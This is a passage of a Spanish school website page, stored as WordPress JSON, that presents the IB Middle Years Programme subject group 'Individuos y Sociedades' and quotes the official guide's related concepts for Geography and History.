{"id":109,"date":"2021-03-21T12:35:37","date_gmt":"2021-03-21T12:35:37","guid":{"rendered":"https:\/\/iesrosachacel.net\/pai_dev\/?page_id=109"},"modified":"2024-06-02T06:45:11","modified_gmt":"2024-06-02T06:45:11","slug":"individuos-y-sociedades","status":"publish","type":"page","link":"https:\/\/iesrosachacel.net\/pai_dev\/individuos-y-sociedades\/","title":{"rendered":"Individuos y Sociedades"},"content":{"rendered":"\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button has-custom-width wp-block-button__width-100 is-style-outline is-style-outline--1\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/drive.google.com\/file\/d\/1gSbajsmfos9DsDlquIUKyib3IFJcHrX0\/view?usp=sharing\" target=\"_blank\" rel=\"noreferrer noopener\">Gu\u00eda de Individuos y Sociedades<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"Conceptosclave\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Planteamiento_de_la_asignatura\"><\/span>Planteamiento de la asignatura<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">El grupo de asignaturas Individuos y Sociedades forma parte del Programa de los A\u00f1os Intermedios (PAI) y se integra en su estructura, que hace \u00e9nfasis en el aprendizaje conceptual y en la contextualizaci\u00f3n de los aprendizajes y tiene un enfoque claramente competencial. Los rasgos fundamentales del PAI, que conforman el n\u00facleo de todas las asignaturas del programa, est\u00e1n descritos sucintamente en la p\u00e1gina&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/iesrosachacel.net\/pai_dev\/pai\/\" target=\"_blank\">Fundamentos del Programa de los A\u00f1os Intermedios (PAI)<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dentro de este grupo de asignaturas se incluyen Geograf\u00eda e Historia, impartida en todos los niveles del PAI que se ofrecen en el centro, y Econom\u00eda e Iniciaci\u00f3n a la actividad Emprendedora y Empresarial, que se ofrecen en el \u00faltimo curso del PAI (4\u00ba de ESO, 5\u00ba de PAI), como asignaturas propias de itinerario.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El grupo de asignaturas de Individuos y Sociedades del PAI incorpora disciplinas que tradicionalmente se estudian en el \u00e1rea de las humanidades y las ciencias sociales. Este grupo de asignaturas anima a los miembros de la comunidad de aprendizaje a respetar y comprender el mundo que los rodea, y les proporciona las habilidades necesarias para  indagar factores hist\u00f3ricos, geogr\u00e1ficos, pol\u00edticos, sociales, econ\u00f3micos y culturales que afectan a los individuos, las sociedades y sus entornos.<br>El estudio de Individuos y Sociedades ayuda a los alumnos a apreciar de forma cr\u00edtica la diversidad humana reflejada en sus actitudes, culturas y principios. Los cursos de este grupo de asignaturas son importantes para ayudar a los alumnos a tolerar la incertidumbre, y a reconocer que tanto los contenidos como la metodolog\u00eda pueden ser debatibles y controvertidos.<br>El IB incita al estudio de esta \u00e1rea disciplinaria centrado en la indagaci\u00f3n y la investigaci\u00f3n. Los alumnos obtienen, describen y analizan datos, comprueban hip\u00f3tesis y aprenden a interpretar informaci\u00f3n cada vez m\u00e1s compleja, incluidos materiales de fuentes originales. Este enfoque en ejemplos de la vida real, la investigaci\u00f3n y el an\u00e1lisis representa un aspecto fundamental de este grupo de asignaturas<\/p>\n<cite><em>Sinopsis oficial del grupo de asignaturas,&nbsp;<\/em><a href=\"https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-individuals-societies-2016-es.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-individuals-societies-2016-es.pdf<\/a><\/cite><\/blockquote>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_generales_del_grupo_de_asignaturas_Individuos_y_Sociedades\"><\/span>Objetivos generales del grupo de asignaturas Individuos y Sociedades<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Apreciar tanto los aspectos comunes que comparten los seres humanos y sus entornos, as\u00ed como la diversidad de los mismos<\/li>\n\n\n\n<li>Comprender las interacciones y la interdependencia de los individuos, las sociedades y el medio ambiente<\/li>\n\n\n\n<li>Comprender c\u00f3mo funcionan y evolucionan los sistemas ambientales y humanos<\/li>\n\n\n\n<li>Identificar y desarrollar una preocupaci\u00f3n por el bienestar de las comunidades humanas y el entorno natural<\/li>\n\n\n\n<li>Actuar como ciudadanos responsables de comunidades locales y de la comunidad global<\/li>\n\n\n\n<li>Desarrollar habilidades de indagaci\u00f3n que lleven a una comprensi\u00f3n conceptual de las relaciones entre los individuos, las sociedades y los entornos en los que viven<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados\"><\/span>Conceptos relacionados<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los conceptos relacionados favorecen la profundidad del aprendizaje. Son disciplinarios y resultan \u00fatiles para explorar los conceptos clave con m\u00e1s detalle. La indagaci\u00f3n sobre los conceptos relacionados ayuda a los alumnos a lograr una comprensi\u00f3n conceptual m\u00e1s compleja y sofisticada. Los conceptos relacionados pueden surgir del tema de una unidad, o de las caracter\u00edsticas y los procesos propios de una asignatura.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 20.<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">El grupo de asignaturas de Individuos y Sociedades est\u00e1 compuesto por un nutrido conjunto de disciplinas, entre las que destacan Econom\u00eda, Geograf\u00eda e Historia, dentro de las que se imparten en el instituto. A continuaci\u00f3n se rese\u00f1an los conceptos relacionados con cada una de estas disciplinas.<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-normal-font-size\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados_con_Geografia\"><\/span>Conceptos relacionados con Geograf\u00eda<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-6d537093\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Causalidad (causa y consecuencia)<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La causalidad es la relaci\u00f3n entre la causa y el efecto, as\u00ed como los factores internos y externos que influyen en esta relaci\u00f3n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Los ge\u00f3grafos sostienen que, detr\u00e1s de todo fen\u00f3meno geogr\u00e1fico \u2014ya sea f\u00edsico o humano\u2014, existe una \u201ccausa\u201d que conlleva un \u201cefecto\u201d, cuyas consecuencias pueden ser conocidas o no. Las causas pueden ser directas o intermedias, as\u00ed como internas o externas. Los ge\u00f3grafos no solo estudian la causalidad como puntos fijos y finales de fen\u00f3menos geogr\u00e1ficos, sino tambi\u00e9n en relaci\u00f3n con los acontecimientos y las acciones que ocurren entre dichos puntos. Un ejemplo de esto es la causalidad de las placas tect\u00f3nicas. Los ge\u00f3grafos analizan las causas y los efectos de las placas tect\u00f3nicas, pero tambi\u00e9n los subtemas relacionados con estas, como la gesti\u00f3n de desastres y las ondas s\u00edsmicas primarias (P) y secundarias (S). La causalidad en Geograf\u00eda se encuentra intr\u00ednsecamente relacionada con el concepto clave de cambio y puede darse en un amplio espectro de tiempo, lugar y espacio, otro de los conceptos clave de Individuos y Sociedades.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 54.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Cultura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La cultura ayuda a configurar, definir y guiar a las civilizaciones y los individuos, e influye en la relaci\u00f3n entre estos y el entorno. Las culturas est\u00e1n constituidas por conductas y valores aprendidos, compartidos por grupos y transmitidos mediante la socializaci\u00f3n. Los ge\u00f3grafos estudian los rasgos culturales de los lugares en funci\u00f3n del idioma, las costumbres, las creencias, la vestimenta, las im\u00e1genes, la m\u00fasica, la comida y la tecnolog\u00eda. Las unidades que exploran el concepto relacionado de cultura pueden incluir cuestiones sobre la difusi\u00f3n cultural, la contestaci\u00f3n cultural y el proceso de consumismo.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 54.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Disparidad y equidad<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La equidad incluye la consideraci\u00f3n de temas relacionados con la igualdad y la justicia. La disparidad representa la distribuci\u00f3n desigual de una cualidad, un indicador o un recurso determinados, y puede oponerse al concepto de equidad. La geograf\u00eda suele estudiar la condici\u00f3n o el hecho de no ser iguales: reconocer que existe desigualdad en el mundo que nos rodea, as\u00ed como oportunidades desproporcionadas y discrepancias que generan disparidad. \u00bfQu\u00e9 causa la brecha entre quienes tienen y quienes no? \u00bfQu\u00e9 significa \u201ctener\u201d y \u201cno tener\u201d? \u00bfC\u00f3mo se percibe una disparidad? Como concepto relacionado, la disparidad se mide en grados dentro de una escala en funci\u00f3n de sus propulsores principales: la econom\u00eda, la oportunidad, el acceso a los recursos, las elecciones, los valores y la libertad. La desigualdad puede basarse en el g\u00e9nero, los aspectos \u00e9tnicos, la edad, la ubicaci\u00f3n, la ciudadan\u00eda y los ingresos, entre otras variables.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Diversidad<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El punto o aspecto en el que difieren las cosas es cr\u00edtico para el estudio de geograf\u00eda, tanto en el sentido humano como f\u00edsico. El mundo humano y el mundo f\u00edsico presentan diferencias que se entrelazan para crear un planeta de diversidad y un mundo \u00fanico. Los lugares, los entornos y los pueblos son diversos. La diversidad puede investigarse a lo largo del tiempo y el espacio, enfoc\u00e1ndose en la diversidad cultural o f\u00edsica.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Escala<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La escala representa la relaci\u00f3n proporcional entre una cierta distancia en un mapa y una distancia determinada en la superficie de la Tierra. La escala como concepto relacionado estudia el marco local, regional, nacional e internacional o global al que se aplican los contenidos de asignaturas espec\u00edficas. El uso de este concepto relacionado hace hincapi\u00e9 en que los desaf\u00edos, los problemas y las ideas pueden analizarse seg\u00fan una de estas escalas y\/o la interrelaci\u00f3n entre los mismos. Debe reconocerse que no solo suceden in situ, sino que tambi\u00e9n tienen un efecto entre s\u00ed.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Gesti\u00f3n e intervenci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La gesti\u00f3n puede definirse como la intervenci\u00f3n humana, tanto en contextos naturales como humanos, para alcanzar fines deseados. En los cursos de Geograf\u00eda del PAI, deben considerarse las formas en que los seres humanos responden a los desaf\u00edos que presenta la gesti\u00f3n debido a la cantidad y la calidad de los recursos, as\u00ed como a las consecuencias de dicha gesti\u00f3n. A menudo, vemos a estas como formas de resolver problemas mediante el hallazgo de modos de preservar componentes \u00fanicos de nuestra litosfera (gesti\u00f3n de tierras y residuos), la hidrosfera (gesti\u00f3n de costas y aguas), la biosfera (conservaci\u00f3n y gesti\u00f3n de animales, plantas y agricultura), y la atm\u00f3sfera (gesti\u00f3n de la calidad del aire). La gesti\u00f3n puede incluirse en temas como la geograf\u00eda pol\u00edtica, como un concepto relacionado cuando se estudia el gobierno mediante las leyes o la educaci\u00f3n para permitir la realizaci\u00f3n de mejores elecciones. La toma de decisiones y la gesti\u00f3n dependen de las diferencias en el equilibrio de poder que poseen las distintas partes interesadas (v\u00e9ase el concepto relacionado de poder).<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 55.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Globalizaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Como concepto relacionado, la globalizaci\u00f3n abarca las repercusiones y las expectativas locales, nacionales y globales de un mundo cada vez m\u00e1s \u201cpeque\u00f1o\u201d. Algunos ge\u00f3grafos la han definido como un proceso de convergencia entre el tiempo y el lugar, y se caracteriza por una interdependencia cada vez mayor entre los pueblos y las naciones. La interconexi\u00f3n cultural, pol\u00edtica y econ\u00f3mica de la econom\u00eda global es una tendencia innegable que se ha visto amplificada por mejoras r\u00e1pidas en la tecnolog\u00eda y las comunicaciones. La globalizaci\u00f3n puede ser, simult\u00e1neamente, positiva y negativa para las personas y el entorno natural, dependiendo de la gama de cambios resultantes y la perspectiva del analista. El t\u00e9rmino \u201cglobalizaci\u00f3n\u201d tambi\u00e9n ha sido cuestionado por algunos, que han preferido hablar de procesos de \u201coccidentalizaci\u00f3n\u201d, \u201cglocalizaci\u00f3n\u201d o \u201cmundializaci\u00f3n\u201d.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Patrones y tendencias<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los patrones son las disposiciones habituales de algo en un \u00e1rea de estudio (espacio o lugar) y las tendencias son disposiciones habituales de algo en el tiempo. Los patrones y las tendencias pueden establecerse en distintos niveles de an\u00e1lisis o en distintas escalas, desde el \u00e1mbito local hasta el nacional, regional o global. Los patrones y las tendencias pueden usarse tambi\u00e9n como herramientas importantes para ayudar a predecir y anticipar procesos geogr\u00e1ficos, tanto en contextos humanos como naturales. Los patrones y las tendencias en geograf\u00eda se encuentran intr\u00ednsecamente relacionados con el concepto de sistemas, y pueden darse en un amplio espectro de tiempo, lugar y espacio, otro de nuestros conceptos clave.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Poder<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El poder de individuos y grupos puede definirse como la capacidad de hacer que las cosas sucedan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En geograf\u00eda, el equilibrio de poder puede considerarse en t\u00e9rminos de procesos f\u00edsicos, como el poder de la erosi\u00f3n frente a la deposici\u00f3n. El equilibrio de poder es tambi\u00e9n importante en cuanto a la interacci\u00f3n y el desarrollo humanos: el poder relativo del gobierno, las corporaciones transnacionales, las organizaciones de gobierno con varios niveles, las organizaciones de la sociedad civil y los derechos de las comunidades y los ciudadanos individuales.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En los cursos de Geograf\u00eda del PAI, no solo se debe intentar comprender c\u00f3mo est\u00e1n interconectados los entornos y las personas, tanto internamente como entre ellos, sino tambi\u00e9n c\u00f3mo el poder determina dichas relaciones. El concepto de poder plantea la cuesti\u00f3n de la equidad y los derechos de distintos grupos, incluidos aquellos clasificados por g\u00e9nero, y los derechos de los pueblos ind\u00edgenas en la competencia por los recursos. La competencia en geograf\u00eda es la lucha entre intereses conflictivos. La competencia por los recursos (tierra, alimentos, madera, agua, petr\u00f3leo y otras fuentes de energ\u00eda) es fundamental para el estudio de la geograf\u00eda moderna y pone de relieve el tema de los derechos y el poder sobre los recursos.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Procesos<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los procesos son movimientos mensurados en el mundo f\u00edsico, humano o cultural destinados a alcanzar ciertos resultados o consecuencias, marcando cambios graduales en geograf\u00eda. Estos pueden generar resultados esperados o imprevistos. Como concepto relacionado, es aplicable en todas las \u00e1reas de Geograf\u00eda. Un proceso que es particularmente importante para los ge\u00f3grafos es el de desarrollo. Si bien la definici\u00f3n de desarrollo es siempre motivo de debate (especialmente en cuanto a sus indicadores), este puede entenderse como un proceso social, econ\u00f3mico y pol\u00edtico que permite elevar el nivel de vida de la poblaci\u00f3n.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 57.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Redes<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Las redes son grupos o sistemas interconectados. Generalmente, est\u00e1n compuestas por nodos o partes que dependen unos de otros. Cuando uno de estos nodos o partes cambia, las otras partes suelen verse afectadas. Las partes individuales de una red, por lo general, existen en el marco de una escala jer\u00e1rquica mensurable. En geograf\u00eda, el concepto de redes puede explorarse en una amplia variedad de tama\u00f1os y niveles de complejidad. Una red puede ir desde las poblaciones de herb\u00edvoros en un parque nacional hasta todos los lagos, acu\u00edferos, r\u00edos y arroyos en la cuenca del Amazonas. Asimismo, las redes pueden explorarse a nivel de sistemas mundiales, con la interacci\u00f3n entre el centro y la periferia. Los ge\u00f3grafos entienden que la mayor\u00eda de los procesos que estudian no son fen\u00f3menos aislados, sino piezas interconectadas de una red m\u00e1s amplia. Las redes se encuentran intr\u00ednsecamente relacionadas con el concepto clave de sistemas, y pueden darse en un amplio espectro de tiempo, lugar y espacio, otro de nuestros conceptos clave.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 57.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Sustentabilidad<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El concepto de sustentabilidad implica la noci\u00f3n de vivir con los medios de que disponemos y es fundamental para comprender la naturaleza de las interacciones entre los sistemas ambientales y las sociedades. Puede definirse como el \u201cuso de recursos globales a una tasa que permite la regeneraci\u00f3n natural y minimiza los da\u00f1os al medio ambiente\u201d (Gu\u00eda de Sistemas Ambientales y Sociedades del PD).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">El uso de recursos (f\u00edsicos, humanos y culturales) en geograf\u00eda constituye la base de muchos temas relacionados con la reducci\u00f3n o el da\u00f1o (tanto temporales como permanentes) del recurso y su capacidad de carga. Los conceptos como \u201ccapacidad de carga\u201d, \u201chuella ecol\u00f3gica\u201d y \u201ccapital natural\u201d est\u00e1n incluidos en el concepto relacionado de sustentabilidad.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Seg\u00fan la Gu\u00eda de Sistemas Ambientales y Sociedades del PD:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La capacidad de carga puede definirse como el \u201cm\u00e1ximo n\u00famero de especies o \u2018carga\u2019 que un medio ambiente determinado puede soportar de forma sustentable\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La huella ecol\u00f3gica puede definirse como la \u201csuperficie de tierra y agua requerida para sostener una poblaci\u00f3n humana delimitada con un est\u00e1ndar de vida determinado\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">El capital natural puede definirse como un \u201ct\u00e9rmino empleado a veces por los economistas para referirse a los recursos naturales que, mediante una gesti\u00f3n apropiada, pueden generar \u2018ingresos naturales\u2019 de bienes y servicios\u201d.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 57.<\/cite><\/blockquote>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading has-normal-font-size\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados_con_Historia\"><\/span>Conceptos relacionados con Historia<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-d2140961\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Causalidad (causa y consecuencia)<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La causalidad es la relaci\u00f3n entre la causa y el efecto, as\u00ed como los factores internos y externos que influyen en esta relaci\u00f3n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En historia, una causa es algo que genera una acci\u00f3n, un acontecimiento, un fen\u00f3meno o una condici\u00f3n. Una consecuencia es un resultado o un efecto de una acci\u00f3n, un fen\u00f3meno o una condici\u00f3n. Las causas y las consecuencias suelen examinarse en conjunto en relaci\u00f3n con un acontecimiento, un fen\u00f3meno o un per\u00edodo espec\u00edficos, en especial a \u201ccorto plazo\u201d y a \u201clargo plazo\u201d. El problema de la \u201ccausalidad m\u00faltiple\u201d ha sido tambi\u00e9n un tema central para la historiograf\u00eda.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 58.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Civilizaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La civilizaci\u00f3n es un concepto que se usa para describir formas de organizaci\u00f3n social que son, por lo general, amplias y complejas, y han alcanzado un cierto nivel de urbanizaci\u00f3n y desarrollo cultural. Para convertirse en una civilizaci\u00f3n, una sociedad generalmente atraviesa una serie de procesos de cambio, que llevan al desarrollo social y la organizaci\u00f3n en la sociedad. Si bien el concepto de civilizaci\u00f3n se asoci\u00f3 en un principio con un mayor nivel de avance o desarrollo por parte de una organizaci\u00f3n social, esta relaci\u00f3n ha sido cuestionada por algunos historiadores debido a que contiene un juicio de valor manifiesto.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 58.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Conflicto<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El conflicto puede surgir de desigualdades en la distribuci\u00f3n del poder y puede manifestarse de distintas formas: discusiones o desacuerdos duraderos; luchas armadas prolongadas; choques entre necesidades o sentimientos encontrados; o incompatibilidades graves entre dos o m\u00e1s opiniones, principios o intereses. Los historiadores estudian el conflicto entre los individuos y las sociedades a lo largo del tiempo, el lugar y el espacio, y examinan tambi\u00e9n c\u00f3mo los conflictos pueden promover la continuidad o ser catalizadores de cambio.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 58.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Cooperaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La cooperaci\u00f3n es la acci\u00f3n o el proceso por el cual los individuos y las sociedades trabajan conjuntamente por un fin com\u00fan. Los historiadores examinan la cooperaci\u00f3n entre sociedades, individuos y entornos a fin de determinar los factores positivos y negativos, que en el corto y\/o largo plazo definen o generan un acontecimiento o proceso hist\u00f3rico. La cooperaci\u00f3n puede promover la continuidad o ser un catalizador de cambio. La cooperaci\u00f3n entre actores implica ciertos niveles de responsabilidad.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 58.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Cultura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La cultura engloba una variedad de experiencias, conductas, costumbres y formas de conocimiento \u00fanicas en relaci\u00f3n con las comunidades humanas a lo largo de la historia. La cultura suele transmitirse de generaci\u00f3n en generaci\u00f3n y afecta la forma en que las personas perciben el mundo que las rodea y su conductas. La cultura puede ser din\u00e1mica o est\u00e1tica, y los historiadores suelen examinarla en relaci\u00f3n con el tiempo, el lugar y el espacio de los acontecimientos, procesos o desarrollos hist\u00f3ricos. Por lo general, los historiadores examinan los cambios en la cultura para establecer comparaciones entre el pasado y el presente. La cultura es un sistema.<\/p>\n<cite>Gu\u00eda de Individuos y Sociedades. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 58.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Gobierno<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El gobierno hace referencia a los mecanismos y procesos que regulan la autoridad en una organizaci\u00f3n determinada. Puede aplicarse tanto a instituciones estatales como no estatales. A lo largo de la historia, las personas han organizado gobiernos para satisfacer las necesidades de comunidades e individuos. Ciertos grupos han creado instituciones y procesos que tienen numerosas formas y funciones. Los modelos de gobierno como las monarqu\u00edas, las rep\u00fablicas, las tribus, los parlamentos, las 